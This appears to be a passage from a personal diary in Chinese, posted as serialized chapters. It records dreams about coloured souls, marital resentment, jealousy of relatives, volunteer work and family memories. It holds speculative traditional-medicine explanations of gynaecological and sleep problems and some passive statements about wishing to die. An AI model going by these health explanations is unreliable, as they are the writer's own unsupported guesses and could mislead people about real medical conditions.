    醒来之后就一直在骂我老公，因为有一天我发现他脑子的头上有一排黑色的灵魂，然后我的脑子里也有一些灵魂在讲话，讲的都是顺着我心意的话。然后我就感觉有问题。然后老公那几天说话做事都是很让人生气的那种。后面他的一个同龄的亲戚来找他，然后他那天休息一下午他说他们两个有事。后面晚上他回来，灵魂都是灰蒙蒙的。后面搞得我不舒服然后就生病了。我猜他可能和他亲戚换了灵魂。他想给他亲戚招老婆。他说他那个亲戚是一个很好的人。我没有看出来。和他在一起打游戏很好吧！反正我没有感觉到。

 第251章

    梦境。前两天的梦境还有一些忘记了写的，那辆车行驶到了一条路，然后出现了两个外国人的灵魂，但是不知道我有没有看错。梦里面他和我讲了什么不记得了，只知道梦里面的人说是外国人的灵魂。只看到一个灰色而又很大的灵魂，然后他给人的感觉无法判断他是好还是坏。
    今天早上梦境里面是一个奇怪的女孩子，那个女孩子给我的信息是，她会去山里面采集一些草。好像在做美容的东西，梦里面出现了美容用的瓶子还有很多液体。她做了好多。然后下一个场景，好像是去山里采坚果。然后下一个场景就是她去一家店的门口，那个店和现实世界差不多，门上有一个牌子说需要支付五万六千八百元。然后她毫不犹豫的付了钱。但是周围有两个黄色明亮的灵魂，说有一对外国夫妻支付了110美金。但是我不知道说的什么意思？梦里那个女孩子说她来晚了。什么东西被外国夫妻给抢先了吗？那个店的场景就是街上很老的店面不是那种柜台一样的，我感觉就像卖早餐的店，而且是那种手推式的铁门，刚开门的时候还有一个老阿姨出来扫地。
    然后另一个场景的梦，就是梦见自己的裤子上流了很多液体，因为霉菌性阴道炎加上白斑，所以用了什么凝胶。搞得一裤子都是梦里面发现自己裤子被液体给弄白了，好尴尬。然后梦里的自己特别的尴尬。这个应该是和现实世界自己的处境有关的。上次好像有一个病人问过这个问题。问这个凝胶的液体流出来了怎么办？当时我没有用过这个，我以为问的是另外一个药品那个时候我没有想到。我需要买护垫了。很多东西都和人生经验有关。问了医生，医生说这不是白癜风，也不是外阴苔藓性病变，不明原因。我感觉这个可能是肺的能量进入了胆经。胆经饶阴器。但是我又不是医生，我也没有什么属于医生的基础。只是自己的一个脑洞。因为肺的能量属于白色，然后那段时间每天晚上都睡不好。凌晨两点一直到凌晨四五点，都睡不安稳，几乎没有睡，脑子很兴奋的那种，而且是好几年了。然后晚上零点过后是肺和肝工作还是运行的时间，然后慢慢的就这样子了。但是这个就是猜的。肺主皮毛，我特别的怕冷，然后稍微风那么大了一点，我就流鼻涕不舒服，还有脚气，就是容易脱皮烂脚丫子。这可能都说明肺里的能量流到别的地方了。
    还有一个想法。之前在做题目。说痛感和年龄有关，越小的崽对痛感越小，然后到了年龄越来越大痛感就更强烈，到了老年痛的感觉又会更没有那么强烈。我感觉我到了痛感强烈的阶段，记起了好几年前去那个健身房不小心骑动感单车太强烈，没热身然后腿部受伤的事，人家教练帮我压腿还是什么，结果痛的嗷嗷叫。那个时候好尴尬就有疑问，为什么自己会那么怕痛了，以前都不会。到现在终于明白了。

 第252章

    今天学到了一个知识点，热敏灸，并没有看完，但是看老师讲的内容还不错。一开始对于经络的描述，她的讲述让我听懂了。我现在就反馈一下我学到的形容出来。也有可能是背下来，不过背的出来也是说明我耳朵听进去了，是我的了，对吧！
    腧穴与脏腑之间。有的穴位你一点上去，它就能影响脏腑，而它们沟通之间有很多的通路，那些道路就是经络。然后有的经络是像一个城市的主干道，可以直接到达，有的呢就像中等的，有的就像乡村小道，每一种经络都在发挥不可替代的作用。有的比较严重的，主干下去，直接作用，有的是像某一个村子某一个路径需要疏通就可以带来事半功倍的效果。就像现实世界里有的村子也是很有名能带来很多经济效益一样的。还有的穴位会移动。会跑。对热敏感。后面我没有怎么听懂了，因为没有听。只看了一点点。我想休息一下。我又做不到一心二用，我好希望我能一心二用，我同事都能这样子做事，一边在做这个事，脑子里又在思考另一件事而且还是背书，手上的事做完了，脑子里需要背的书也背完了。所以我在同时听两个视频，看看自己能不能也学会这种注意力控制分散的能力。很可惜我并不是这种天才，并没有听懂。但是可以锻炼吧！看小说里的女主角，她可以锻炼到，虽然没有天生就有的能力，但是仍然可以学习。所以我在听倪海厦的黄帝内经第一集。黄帝内经他讲的我已经听完一遍了，但是第一遍并不是很能听得懂，评论里好多人都说他们刷了三四遍。所以我在听第二遍。这种注意力分散确实吸收的不大，黄帝内经就听到了天葵至，女孩子十四岁，然后还有生长激素直着长不横着长。不行，还有女性到了三十五岁，阳明经会绝，枯萎。所以女性到了那个年纪容易变成黄脸婆，长斑。其他的内容没吸收到。其他的等在再看。
    昨天好生气。在回忆起前天晚上我老公说的话。前天晚上我想和老公分享我喜欢的一个小博主的感觉。然后他马上回了一句：你又喜欢上了哪个畜牲？然后我就愣愣的看着他。也没有发怒什么的，就看视频休息去了。我以为没有什么。后面下午在工作的时候，脑子里就一直在骂他。说他怎么这样子讲？是不是在说我眼神不好？畜牲？又想起了一件事，他有两个亲戚，一个亲戚的家庭条件不算很好，他爸爸很爱喝酒然后打他妈妈。他的话在外地工作，一个月七千块的收入，好像是一个销售吧！然后我感觉他的谈吐很好，他还谈了女朋友，但是可能是家庭原因，不知道谈成了没。然后他的表达能力很不错。然后我老公说我眼神不好，他讲的我听不懂。没有听。然后另一个他的亲戚，他的长相其实还算清秀，高，但是我对他最直接的感受是没有一点感觉，我老公说他很好。那个亲戚是一个木匠的儿子，他以前在外地一个很偏僻的地方做木匠。然后周围实在偏僻基本没有女孩子。我看不出来他怎么样？当时老公说我眼神不好。我就感觉好愤怒，眼神不好。可能看上他也是眼神不好吧！反正一天都很气，然后就是他表姐给妈妈买了衣服这件事。让我很不开心，我也不知道为什么不开心？总之心里就一直在闹变扭。可能她家收入比我们高，然后我就眼红了？我只能对我的心理这样子定义。我的脑子里的想法真的挺奇怪的，我不想去描写，但是我很想写下来，因为它再出现一次我可能还是会被烦死。我想过年的时候加到表姐夫的微信来，每天雷打不动的和他沟通，勾搭他，反正表姐让我不爽，我就让她不爽。而且老公给我的反应让我感觉我很没有魅力，我需要一个地方去散发我女士的魅力。顺便叫表姐夫给我买新衣服。表姐的衣服我都馋了很久，谁叫她天天都穿那么好看过来，看的我有嫉妒心。而且她家有车耶，我家都没有，她可能还准备买新房，我都没有。我好嫉妒。还有好想过年的时候搞事情，让她给所有人都买衣服，反正她有钱。不是我这个穷鬼能比的。反正脑子里的自己就像一个作精附体一样，折磨了我整整一个下午。老公和我的感情不好都是她的错。谁叫她那天穿的那么漂亮，让我以为我老公也是那种心里优雅的人，想到老公说我眼神不好就气，还有想分享喜欢的内容还被评价畜牲更气。老公上次给我分享了一篇文章，很温柔的那种，然后我以为他也和我一样的品位。我那天喜欢的博主也是一个很有诗意的女孩子。他给我来一句你又喜欢哪一个畜牲？我就好气啊！也有可能是长时间身体没有得到很好的休息，失眠多梦，导致自己的状态变成了对很多细微的小事一点就容易炸，而且还是再忍一天再炸的那种，不是当时出来。
    昨日还有什么来着？我好像看到了一个白色的灵魂说她想去种田。反正很生气的那种。之前我在上班。然后我用我认为正常的语气和家人聊天，家公就觉得我很咄咄逼人，他就说我肯定做不好，而且是种田的命，后面我就说是啊！我是种田的命。那个场景就是一团黑色的感觉，他给我的感觉就是他看我不爽。不过我也做的不好，他毕竟是长辈。我说话又是没大没小的样子。没把自己的角色拿好。比较容易角色混乱。然后他们也不愿意听我说的话，他们吃的菜很咸，我就讲的更多，遭人讨厌，其实这种事说一遍就好了，人家不愿意听就算了，倪海厦老师讲的那个就是如果生活中碰到了有的病人。和病人讲了，他不听，那就算了，不要执着。不然人家要恨你，生活中也是这样子，就算是家里人，如果人家不愿意听，那就算了。天天讲人家会觉得你唠叨，会烦。但是那一阶段我就没有这样子，我就天天讲，家公就不听，说自己都是低血压。就要吃咸的干活有力气。总之我认为我在家说话是正常的热心的语气，听到他们耳朵里是有班上就一个那种屌样子。那个时候我也在反思我是不是踹着，有架子，没有接地气导致的，后面我都感觉我都接地府了，时不时想种田，去哪个地方死一死。和列祖列宗好好聊一聊人生。看他们什么时候能够把我招回去早死早超生。我不知道原因是什么？有的时候还在埋怨自己活那么长，本来小时候都可以淹死的，没有想到到了这个点还过不好。
    角色混乱，没大没小，不知道尊卑有序。人家又爱开玩笑，但是人家不喜欢被别人开玩笑，人家又喜欢说人家，而我说他，他又不愿意听。就那么复杂。与人相处很难。就像倪海厦老师讲过的一个内容。工作上班压力大很容易生气，然后那个人就去喝酒，喝酒伤肝就更容易生气，然后就再喝酒，你跟他说不要喝酒了，他就要喝，然后久而久之就病了。就只能让医生挣钱了。
    家婆也不知道她怎么了，不知道是梦还是什么，她说她等不到她小儿子结婚了。不知道她。老公弟弟结婚肯定不能指望我啊！肯定希望妈妈多活几年，我指望不得。我还有两个儿子要生，这是命里有的。就算她儿子三十岁结婚，她也就七十来岁，应该活的到吧！我的话大概六十岁挂。她儿子三十岁的话，我都快五十几大限到的时候。不过我也不知道她。万一人家去神婆那里算过了自己活的到什么时候呢？知道大限在哪几年，那不就没办法。
    突然想到以前一个梦境。梦里面我是一个女孩子。后来慢慢的长大了，然后有了家庭，然后我就慢慢的老了，老了以后我就还想为了自己的孩子再活几年，因为舍不得他们，后面孩子长大了，我就还想再活几年，想帮他们带孙子孙女，然后孙子孙女长大了我就还想再活几年因为我想保护未来的孩子。后面我发现我好像还想再活下去，即使没有什么。那种执念就让我像一个魔物一样。黑色的很强大的能量。后面不记得了。后面让我想到了一个电视关于青春不老药的。好像那个追求永生的是一个皇后。最后她弄到了青春不老药，不过她的样子很僵硬。后面出现了两个很老的老人。不知道他们在讲什么，没看懂。其实活太长没啥意义，活太短也没啥意义。有的人的死重于泰山有的人的死轻于鸿毛。可是保家卫国的事，就算发生了很多，那也只能表示世界太惨了，从多角度来说，不希望灾难发生。那些被歌颂的事情都不容易。切实去经历的人都很难受。可是灾难就像黑天鹅一样，很多东西都难以避免。但愿是有好事发生。尽人事听天命。
    又想到了我老公，他在打游戏，然后我叫他帮我挑一件衣服。我以为他会挑的很好的。因为他给妈妈买的衣服都很好看。然后那件衣服回来以后好丑，我确实胖了，但是客观的原因来讲是衣服的锅。很难看，我不想去形容了。好生气。我很少网购退衣服的。搞得我不开心。不要问为什么没有去实体店买衣服。问就是没钱。去一次买死贵死贵的衣服，然后发现不能机洗，不能随便搓。质量好的东西有可能不能骑车穿，不能下雨穿。终究是山猪吃不来细糠，我不配。

 第253章

梦境。梦里面去了一个黑暗的地方，然后旁边有一颗树，好像是女贞子。梦里的我叫它女贞子。有好多果子，我想去吃它的果实。然后刚摘到，一个老人家说不能吃怕中毒，然后就把我叫走了。下一个场景是医院，她们叫我一起拍集体照。然后梦里的我打电话给一个同事，然后梦里的其他同事笑了笑，叫我过去，还问他们辫子怎么扎。然后就一起拍照片。醒了。

 第254章

    梦境。昨日中午。不知道梦到了什么，像老人家，但是又不像。他就在笑，白色和灰色两种颜色和成一起的人，不是我们这个空间的，他飘在我的脑壳上，。然后上班，就看到了熟人，然后看到了一片灰色的空间的灵魂。然后脑子里再浮现了一个教室，教室里好多圆圆的球，好多都是发黑的那种。就像一群小恶魔一样，它们在叽叽喳喳的说什么。然后同事的眼睛也是黑色的能量。不知道什么情况。
    晚上的梦境。梦境是什么东西进入了我的身体，然后看到了我的记忆。然后反馈的信息是我们医院有倒闭的风险。我不知道怎么看出来的。然后下一个场景是一个奇怪的女士，她在我的脑子里说什么？大概就是又在我的脑子里骂我之类的，梦里的她说居然不起效果了。我的脑壳和另外一个脑壳质壁分离的感觉，就是我的思想与情绪影响不了它了。还有另外一个灵魂她在我的脑子里讲什么，大概的意思是我们医院不养废物，她需要我发挥出工作能力来。然后我看着她，它像一个奇怪的没有意识的灵魂也静静的看着她。我也不知道这样子好不好？
    再然后就是一个场景，场景里的医生是黑色的灵魂，以前她的灵魂是白色的很美丽的光芒。不知道为什么会这样子？
    我们医院也更改过我的潜意识吗？然后回忆到了一个场景，那个场景里是很多奇怪的人，然后那个场景里的我说自己可能要孤独终老了。因为本来喜欢的就是一个幻影，幻想中的人物。理想世界的人。这个世界的人不存在这样子的状态。

 第255章

    感觉自己的能量好多灰色的东西。不知道怎么来的。
    前几天的负能量写出来了，就瞬间好多了。这几天都没有在我的脑子里烦我。难道应对它的方式就是写下来？虽然感觉像写废话，但是有用就行。再说了不是说能够说废话的人是一个幸福的人，能够有一个人听自己说废话的人会更幸福。
    想到了小时候一个事。我也不记得什么事了。让我感觉很难受，然后那个时候以为自己是天蝎座，本身就有嫉妒心这是很正常的事，后面产生了那种很难受的事，那种感觉我也能接受因为这是自己的本性。然后很平静的接受了那件事以后，我的状态更好了，好像成长了一样。可是后面知道自己是自己最讨厌的射手的时候，心情特别的不好。可能在我眼里对射手比较有偏见吧！我最喜欢天蝎和摩羯。我感觉做事很认真工作认真还有学习认真。可是射手不行，看着就是那种很爱玩的人，所以很讨厌。可是我有好几个同学他们都是射手，学习很好，人也很不错，还会做手工作做的很好看，写的文章非常有诗情画意。只能说那个时候的我对待很多事情带有偏见。不愿意去接受我认知以外的事物。
    我的嫉妒心为什么会那么强烈？搞不懂。我要不要去我妈妈那里看一看？我好久没有回娘家，我很想给我爸爸妈妈买衣服。但是不知道为什么很想下单下不了单。我妈妈买了好多玩具给我女儿还有老公弟弟，我应该也买回去的为什么我会下不了单。我好像胆子有点子，怕上家里的那个坡。以前没结婚的时候是不怕的，即使是晚上也不怕。不知道为什么现在想一想就害怕，可能是那次骑车摔到了就好害怕吧！有恐惧感。我感觉有点强烈的恐惧感，骑车不超过三十码，而且还担惊受怕的。不知道为什么会这样子。
    昨晚没有睡好。做完了那个梦，就一直清醒的，然后到早上才再休息一会儿。黑眼圈一直很重，该怎么样才能更好的休息。

 第256章

    梦境，梦到了一个电梯，然后梦境里碰到了一个熟人，然后那个梦境里的我没有自己的思想意识。就感觉不到什么的感觉。然后就碰到了另一个人。这个梦很诡异。后面看到了一个圆圆的白色的灵魂那个是我自己的，然后我自己的周围有一团黑色的脑袋，很大的黑色的影子。他好像有眼镜之类的面孔。笑容很大。然后我就突然醒过来了。我感觉很奇怪。然后进入了下一个梦，梦里面我和奶奶在山上砍柴，然后碰到了一团黑影，我很害怕然后跑回家去了，奶奶就在那里笑我，说我怎么胆子那么小，这是一条菜蛇，我说我好害怕，然后梦里面的家出现了一些花圃，我感觉很奇怪，然后我就在地面上看着这些花圃。然后梦里的我又跑出去了，奶奶说叫我不要去打扰那条沉睡的毒蛇。然后我想到了一个事，一个小时候在菜院子里我那天突然变得很呆，然后就呆着不动，然后我脚上溜过去了。那个时候我没有动它，可是它过去很久了，我就朝它走过的地方砸了块石头，当时脑子里还在想为什么要砸它呢？梦里面说那条蛇是一条修炼的毒蛇。后来长大了，二十几岁，然后有一天回家的时候，家里人叫我不要回家，后面那天的梦里我好像还是去了那个地方，家里人说隔壁的伯伯在那条路上抓了一条眼镜蛇。然后昨天晚上的梦里就好像看到了一条眼镜蛇一样，不停的吐着舌头。好可怕。然后下一个场景，是梦境，梦里面有一个女孩子在问自己的选择和应对方式应该没有错吧！我觉得没有错耶！意思是什么？就是喜欢过一个男孩子，但是他是幻想中的人物。他的特点根本就在这个世界不存在对吧！然后我的意识又知道这是不存在的，但是又投射到了一个人身上。那么我肯定是清醒的又是痴迷的，但是我需要去解决这个状态，花了很多精力。然后经过了十年左右的时间终于在坚持不懈的解决了。开始可以重塑自己的人格了。然后又出现了其他的麻烦。但是这个麻烦我不理解。没道理啊！它出现的道理是什么？不懂。
    后面的梦境，梦里梦到了其他的人，她说我生的病不用去担心。后面我就醒了。
    采集点负责上班不知道是不是看到了哪一个阿姨在拍视频。有种害怕自己被投诉的感觉。我就管理采集人员的物资还有有没有换班，如果有什么特殊情况需要处理。在采集点里面呆着，会被讲，前一段时间的上班的人说过自己被督导组看到过被说，然后去人家社区里呆着，怕自己太吵影响人家。我一般坐着没什么事就刷我的大学网课继续教育。在队伍旁边坐着，发现人家在拍视频，好像在批评自己一样。真的好尴尬。志愿者的事各有分工。像我们这个点还好。他们其他单位来的志愿者他们的事，他们都会很认真的干好。听说有的点，到了点走人，我要在旁边看着，等环境管理局的人来了，就请她们帮我们消毒，这样子可以节省自己的时间，对人家来说又正好顺手。好久没有出去玩了，没有去旅游。好后悔没结婚的时候没有去外地旅游，等结婚了以后，老公说会带我一起去旅游。结果搞得哪里都没有办法去，他没有时间我也没有。
    昨天的一个场景好像在脑子里催上班，但是催的不是我，一个好奇怪的灵魂。然后看到了它的样子。它的样子很奇怪。像一个黑色的点周围有绿色的飘动的东西。然后它走了。后面脑子里好像又有那种负能量，在骂我。它骂的内容我都忘了。我就看着它，它是一团黑色的能量，旁边有一团白色的，以前它是在我的脑子里不停的讲，讲的都是一些芝麻蒜皮的事，但是就是一直讲一直讲。然后导致我没有一点点力气的感觉，心情也逐渐压抑，低沉，不知道为什么？昨日会是那种看着它们的感觉。没有被影响到心情。很奇怪的状态。

 第257章

    突然想到了一个事。那个场景是小学的时候。语文老师教了我们怎么改语文里错了的句子。然后好像学会了很开心。后来在上一次数学课的时候，数学老师发现我本来可以做对的题目，会第一遍做错，然后再发现自己错了，再一瞬间改成正确的，可能很想要得到他的夸奖，希望他夸自己很细心啊什么的。可能多了以后，他很生气。但是那个时候我不知道为什么他会那么生气。不理解。后面发现有好多次做事会无意间第一遍会做错，第二遍再重新做一遍，而且一瞬间。也不清楚是什么原因？只是感觉自己周围有一团黑色的情绪。在做第一遍的时候。我很想理解这为什么会产生？为什么会突然想到这个事？
    我能不能瘦下去啊！最近家婆的手艺好好啊！做饭很好吃。才几天的功夫又胖了一斤。也有可能和食欲有关，我家公去乡下哪个地方有化积那个药。我只吃了一包。然后好多天都感觉自己食欲很旺盛。肚子会咕噜咕噜叫。不知道人家的配方是什么？效果也太好了吧！
    突然之间想到了昨日的一句话，我写的废话。我感觉我写了以后心里产生了很多情绪，愤怒。自己会对自己写的东西评价为废话吧！可能我写的东西对别人的价值没有，对自己的价值很大。至少好几天的情绪不会痛苦，这就已经很不错了。
    这让我想到了另一个事，那个事，是爷爷和我去一个地方，我和他分享一些八十岁的老人家考到了清华大学的事，我感觉很开心。爷爷说即使考到了对社会又有什么作用呢？也许对社会的作用是渺茫的，微不足道的，但是对于他本人来说是一件终身遗憾的事，得到实现的一天。
    这又让我想到了一篇文章，那篇文章里写的一个人，是一个很热爱音乐的人，他不顾很多人的反对，就是很喜欢弹吉他之类的，坚持不懈了很多很多年，可是他没有什么天分。音乐里没有很让人惊艳的直击灵魂的东西，后来他某一天在一个很疲惫的下午，不停的弹，好像是偶然之间弹出了很动听的音乐。这写的内容我那时不太理解那种情绪，后面的忘了，大概的意思就是努力了很多年，哪怕没有天分，在那一刻也值了。
    这让我想到了一篇文章。那篇文章里是一个女老师，两个老师的故事。一个老师得了白血病。她对另一个女老师说的话那个女老师很优秀，拿了高级教师。可是感觉她并不是很快乐。意思就是那位得了白血病的老师和那位女老师说很羡慕她。可以那么优秀。但是她看出那位老师并不是很爱教书。她可能是家里的乖乖女，家里人希望她去教书，她就去了的那种。工作如果没有热爱的话，会很痛苦的。然后就是巴拉巴拉的一堆话。我那个时候还小没看懂。后面那个拿了高级职称的老师去当记者了，因为她很小的时候就喜欢这样子的工作，她家里人不愿意她去学这个，因为风吹日晒，哪里都需要跑很辛苦。文章后面的那段话我没有看懂。我只感觉文章里好像有一个灰色的精灵一样的情绪在跑出来，对我说什么？可是我并不理解。后面那个白血病的老师好像快要挂了，可是她的父母是爱她的，她的男友也是爱她的，所以她也是很幸福的一个人，只是生命太过于短暂。像烟花一样，但是也很美。我对这个文并没有产生太多的思考。学而不思则罔，我只是记得这个事。因为我也不知道什么是我热爱的。那种沉浸在忘我的世界里执迷追求的感觉是一件很奇妙的事。不过我很少体会过。
    突然让我想起了另一篇文，那个文就是一个男的视角写的，他之前和一个女孩子相亲的事，可能他对那个女孩子有好感吧！然后他送女孩子回家女孩子关门的时候声音有点子大，后面他就没有再和女孩子聊下去了，后来时隔多年以后他可能变得比较有钱，有事业，在一个偶然的时候再次遇见了那个他相亲的女孩子，然后那个女孩和他热情的聊天，和之前相亲时不冷不热的样子变化很大告诉他，其实她当时喜欢过他，不知道为什么没有再见到，然后他也恰到好处的寒暄，不动声色的和打招呼和现任女友离开。不知道为什么会想到这个文。这就是缘分，有缘千里来相见，无缘对面手难牵。后面又看到了类似的文，也是女孩子关门的。意思就是有一种愤怒的情绪。好像和他相亲的女士比较势利眼一样的感觉。这是我从文章里感觉到的。突然之间又想到了一个和尚说，这个多少钱，出家人不说钱说缘。这个一万八千元的事。不知道为什么突然想到。然后想到了另一篇文章，也是关于缘分的，男主角说他从来不相信什么缘分，反正都会竭尽全力去争取。有的人说如果男主真的对女主有意思就会被关了门也会再去问一下，为什么关那么重，或者下次再约，不就是关了个门，又没有什么大不了的事。说到底还是男主自卑了吧！因为贫穷而自卑，不然也不会强调自己事业有成的时候遇到了当时的女孩子，然后还有一个比她漂亮好看很多倍的女朋友。
    突然之间又想到了一个文。那个文写的很好，搞得那个时候的我特别的羡慕她。文里也写的一个很自卑的女孩子，说她从小就很自卑，她本来是乡下和爷爷奶奶长大的，然后被妈妈接到了县城，然后阿爸妈妈又有了弟弟，她就像一个边缘人一样生活。内心一直很自卑。学习好好，经常因为自卑而发奋努力。虽然一开始可能名词不太好，但是因为过于自卑，然后她就一直很努力很努力，后来不起眼的她考到了重点高中。然后在高中很自卑。一开始很低的名次，后面她很努力的名列前茅。反正就是一开始很差，后面到了最关键的时刻越来越好。后面又看到了类似的文，写的是一个女孩子很自卑，后来她好像高中毕业出来了。然后在工厂里上班，很朴素的一个人，一般就只穿工厂服装，不买新衣服，然后每个月还给家里人寄五百块钱。很多的时候都在努力上进，因为很多的自卑感。一直持续不断的努力的那种人。后面她就过上了相对于同龄人来说更好的生活和工作。她升职了。后面我也学着自卑。我希望我也是这样子一个女孩子，她在我心目中是比较优秀的那种。我发现扮猪吃老虎可能真的会变成猪。这根本不适合我，我并没有像她一样成为一个很厉害很能干的人，我因为过度自卑而过度焦虑，然后内心更加的痛苦。非常的脆弱。不堪一击。尽管我在努力的学习。但是我并没有发挥出我学以致用的能力。所以效果不好。就像有的东西我会，但是我做不出来，那就跟不会一样。老师他以前说过。你心里知道答案，但是在考卷上你不写上去，那么就是零分。生活工作做事里也是一样的。脑子有答案，发挥不出来就是零。
    女主那种人很欣赏，但是不适合我。我学着好像一个四不像一样。就像hd学步，把自己本来的样子给忘了。
    这让我想到了下一篇文章，写的是一个女演员。女演员可能是一个天生的演员演技过人。然后她就太过于沉迷于演戏，经常分不清现实和戏剧里，导致她老公实在受不了，而离婚了的事。她老公说她天生就适合演戏。
    想到了下一篇文，文章里是一个女士她老公和她离婚里的事。她好像比较有名，好像是主持人或者是演员之类的，反正公众人物。她写出了很多心情，然后放下了，然后整理好了自己的状态，最后从容的上班去了。投入了工作当中。
    让我想到了下一篇文。一个很奇怪的文，看不懂。就是一个男士他和他太太离婚了，他买了一只猫，然后一位女士她离婚了，买了一只狗。他们并没有发生什么交集，但是店老板感觉很难受不好。不知道什么文。奇奇怪怪的，没有懂涵义是什么？男的希望女的像猫一样粘人？不会太过于独立自主，女的希望自己的另一半像狗狗一样忠诚？不会有第三者？这是我猜的，因为那个文里并没有很直接的描写男的感受，女的感受。因为他们两个又是陌生人。而且并不是前夫和前妻，并没有婚姻的关系。只是在店家那里一个买了猫，一个买了狗。然后店家很难受的一件事。很委婉的东西我搞不懂。

 第258章

    昨天看到了一个文，说洗稿的事。说有一个作者她很优秀，写的文内容一直很好，然后收入比较好，但是后来她没有写了，因为她洗稿，洗稿比较高明，很多年人家都没有发现。看了很多文东拼西凑，然后结合自己的想法用自己的想法写出来，说明她的文学功底还是很厉害的。那我很好奇，那到底洗稿是什么？我感觉她这样子又不像洗稿。我们在生活中不是经常会看很多的文章，很多的事情，然后再结合自己的想法写出来吗？搞不懂。自己真实经历写下来让我想到了一个事。有几个小说家，写的文好厉害，然后发现一个写间谍文的真的是间谍，写盗墓文的真的是盗墓。可是我们普通人哪有那么跌宕起伏的经历。难道那些写修仙文的真的去修仙了？还有我记得我看的星际文，难道人家真的去过？想象力丰富。如果完全就靠自己的想象力去写，自己的感受，那如何去锻炼它呢？自己的人生经历真的是平平无奇，生活里的美好真的全靠想象，羡慕，羡慕久了会嫉妒的。
    不知道为什么想到了一条路，我和老公结婚一开始的时候，我说想要在哪个地方买房子，后来我们一直讲，一直讲，他骑着车后面我就没有说话了，我发现我没有了买房子的需求，整个人的身体能量是幽蓝色的，他好像也发现了。但是我没有发现。昨天去看一些人家的装修。那些装修定制的，做的很好。我们的公租房找的亲戚干的，没有他们做的那么服帖，但是价格比较优惠，所以也不好讲什么，而且衣柜门还没用多久就有问题了，所以以后，以后看我老公去想吧！我心里是不会再想用亲戚装修了。虽然我不是吹毛求疵的人是个得过且过的人，但是真的还是选择漂亮一点好。虽然日子久了它迟早会褪色，但是它至少光鲜亮丽过。但是如果我老公还是会选择用亲戚，或者会考虑经济因素。那就随他吧！想到了倪海厦老师讲的阴虚阳虚的，阴虚了它控制不了阳，久了阳就会出问题，就像家里的妻子没办法和自己的老公去沟通一样，有的老公想法很奇怪，就需要自己老婆去牵制他，才能在正确的路上走。老师其他的内容，每记住。看他一讲这个我就来精神，其他的我就没有注意力去听。我们也是这样子吧！
    我们昨天去看了装修，还是品牌的好，很漂亮。后面再去一个人家里看他的房子，没去之前，我家公讲的就是天花乱坠，好像他的家特别特别好一样，怎么怎么好，然后我们就过去了，发现还行，但是没有预期那么牛。他的可能会更便宜一点，然后房子主人有点子厉害，好多的材料都是自己搬上楼，说搬水泥可能需要给工人支付五块钱一包还是多少钱，我没怎么仔细听，所以他就自己干掉了，我记得一个老板娘也是这样子，要装修一个房子，所以就自己和老公两个人搬材料，很累，听说可以省好几百块钱。还有他们扯了一会儿，我不太听懂就没去听了。玩手机去了。然后好像还讲了一个人，在网上网购了好多材料。开车去装的快递。好像是一些灯之类的吧！现在的设计，也有可能是流行，好几个人的都有那种很多灯的天花板，很漂亮。然后他们的集成灶很好，很小，我说这个应该更好打理。家公说这个用了两年左右就要人家请专门的人过来清理，但是我感觉平时自己用会更划算一点，亲戚那里也有这个，她就洗碗的时候顺手就把卫生干好了。那个集成灶下面会有一个箱子把油污装起来。房主还是比较喜欢的样子。他的房子里好多植物，可能家里人比较喜欢吧！种了好几盆兰花，还放了多肉，还有绿色的书，我不认识名字的，还好看。垃圾桶是带盖的，而且是人一靠近就会自己打开盖子，不用踩。更没有异味吧！但是要充电。
    老公看人家视频有一个地方煤气罐炸了，一栋楼都没有了，一片狼藉，还有个人全黑躺在地上。真难以想象，煤气罐的威力那么大，而且根本没有看见火光。

 第259章

    回了一次娘家，感觉自己这次回家没有以前那么累。叔叔也回家了。
    不过我并不知道叔叔会回家，在回家之前快离开自己家的时候，感觉到了自己对婶婶的抱怨，很神奇呀。我们都很久没有见面了，为什么会对我婶婶产生一点点抱怨。然后回家就见到了叔叔一个人回来了，这几天有一两天会对叔叔有抱怨一样的感受，我也不知道哪里来的。他是一个我比较欣赏的人。不过过日子我不知道。书法比较好。他自己也是日复一日的坚持不懈的那种。所以他参加书法比赛经常得名次，以前娘家条件比较好的时候，爷爷也专门送他去市里一些书法名家那里学习。前期投入其实也比较大，然后自己又是持之以恒的人。所以会得名次也是实至名归。老实说我比较羡慕和嫉妒他。反正很多事情我都比较羡慕和嫉妒，我已经对我自己习以为常。然后自从知道了第一名会有奖金，嫉妒就更高了。我认为我的天赋其实也有，但是我是女孩子，然后我没有时间和精力去投入，我最近萌生了我也想学书法的念头，可是我一般是不会去下功夫的，因为现在的我没有这个条件，然后我也不够热爱。我知道自己的本性。我只是比较想拿奖金，我也想买房子。老公他表哥的房子八十多万，贷款了所以总得的一百四十多万。好羡慕。可是我一般如果想要以挣钱为目的做事情一般都是做不好的。那种烦躁感会让我很痛苦。
    后来就碰到了叔叔，然后后面叔叔回去了，没有吃中午饭。爷爷在剪头发，真的好久没有见了，爷爷奶奶爸爸都变得很苍老了。还有剪头发的爷爷也变得很苍老了，还有一个大伯也变得好老了，一时之间我都没有想起来对方是哪一个？真的是物是人非。我妈妈她去工地上班了，又去扎钢筋了。没有看到她，我都还没有去给她买衣服，爸爸其实也没有买。上次给家公买的裤子不小心买小了两条退了一条，还有一条不知道为什么不想退，就带给爸爸了。我其实不太想给家公和爸爸买一模一样的衣服，这让我想起了我妈妈给我外公和爷爷买了两件一模一样的大衣。那件衣服大概几十块钱的样子，那年爷爷穿着很开心每天都是乐呵呵的，外公也很开心每天都是乐呵呵的，但是我就感觉很怪，我也不知道哪里怪。
    在家里睡了好久，碗是爸爸洗的，我和爷爷讲了比较久，讲我工作上的衰事，实在是没办法。奶奶听了我的状态很想笑。然后奶奶穿了我以前上班穿的鞋子。我说难怪最近这几天都在想到了奶奶。那些回忆里想到的奶奶一些小事吧！奶奶种了好多辣椒，然后她会带我去摘辣椒，然后收辣椒，晒辣椒，然后就装起来，有的会弄好来做辣椒碎，有的会放在缸里，后面有一天，我发现她每年都会说辣椒坏了，然后扔了一批，后面每天又会种辣椒，然后重复这些事情。我们有的时候也会买辣椒，种了很多辣椒，然后有的掉了地上，但是比较新鲜，质量比较好的，我们就会收集起来，不浪费。然后好的就会拿去卖。但是我的那个记忆里不是她拿去卖辣椒的场景，而是她每年都在种辣椒，然后收集，后面就坏掉了的场景。然后有一年我就告诉了姑姑，奶奶种辣椒的事，后来他们过年会拿辣椒。后面奶奶越发苍老了，就没有种辣椒了。不知道为什么会想起这个事来，而且那个记忆里的自己是黑乎乎的。不是明亮的人。也许我心里对我的评判是我不应该对老人家说人家种辣椒不好吧。搞得奶奶没心情。
